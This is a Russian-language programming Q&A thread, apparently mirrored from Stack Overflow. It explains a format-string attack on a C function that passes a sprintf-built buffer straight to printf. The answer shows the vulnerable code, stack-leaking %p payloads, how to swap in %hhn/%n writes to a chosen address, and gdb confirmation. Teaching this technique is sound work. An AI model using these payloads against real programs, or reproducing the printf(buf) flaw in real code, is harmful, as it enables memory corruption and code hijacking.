C sprintf эксплойт (форматирование атаки) - PullRequest
0 голосов
/ 12 декабря 2018

Я хочу записать целое число 1 по адресу 0x08049940, используя эксплойт строки формата (в частности, sprintf)

, как выглядит функция

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

Я пробовал несколько уроковно я считаю, что они не работают, потому что моя строка уже начинается с "Hello".Поэтому я попытался начать писать ниже, используя входные данные

%. 1% n \ x39 \ x99 \ x04 \ x08

, что на 7 значений ниже, а такжедругие адреса в окрестности оригинала.Тем не менее мой отладчик GDB постоянно сообщает мне, что адрес по адресу 0x08049940 по-прежнему является адресом по умолчанию, указанным в коде.

1 Ответ

0 голосов
/ 12 декабря 2018

Вы не могли бы использовать sprintf для атаки форматной строкой, но более поздний вызов printf.

Использовать это довольно просто, если вы можете наблюдать за выводом.Вместо прямого использования эксплойта, вы можете создать строку с достаточным количеством %p или %x, пока не увидите желаемые байты.Например, эта программа работает для меня:

#include <stdio.h>

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

int main(void) {
    greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
          "%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}

Я компилирую с gcc -m32 и запускаю, вывод:

Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!

Теперь, когда мы видим 0x04030201, мы можем изменитьокончательный %0#p - %hhn для записи одного байта по адресу, или %hn для short, или %n для int.Это число - количество написанных символов, преобразованное в char, short или int.

Когда мы знаем, где в стеке находится адрес, мы можем изменить каждый %p на %c, и мы знаем, что он будет использовать ровно один символ, обеспечивая лучший контроль над полученным числом.

В начале у нас есть некоторый провал с a s - это можно использовать для изменения точности одного из преобразований, чтобы легко изменить количество записываемых символов по желанию (например, если полученное число 123 слишком мало, его можно расширить, напечатав один символ с 124 шириной поля символа: %124c);добавление счетчика можно сместить, убрав из приглашения 3 a.

Снова это можно проверить с помощью %0#p:

greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");

, и мы получим:

Hello aaa                

���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!

Наконец, мы просто заменим %0#p на %hhn и там будет волшебство.

Чтобы продемонстрировать, что он действительно пишет по адресу 0x04030201, вы можете использовать gdb, чтобы найтиадрес, вызвавший нарушение :

Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201

А остальное оставлено читателю в качестве упражнения ...

...